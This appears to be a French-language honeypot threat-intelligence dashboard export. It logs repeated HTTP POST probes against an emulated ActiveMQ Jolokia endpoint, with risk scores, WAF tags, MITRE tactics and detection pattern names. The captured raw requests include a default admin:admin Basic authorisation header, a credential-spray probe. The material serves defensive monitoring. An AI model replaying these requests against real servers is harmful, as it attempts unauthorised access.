"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
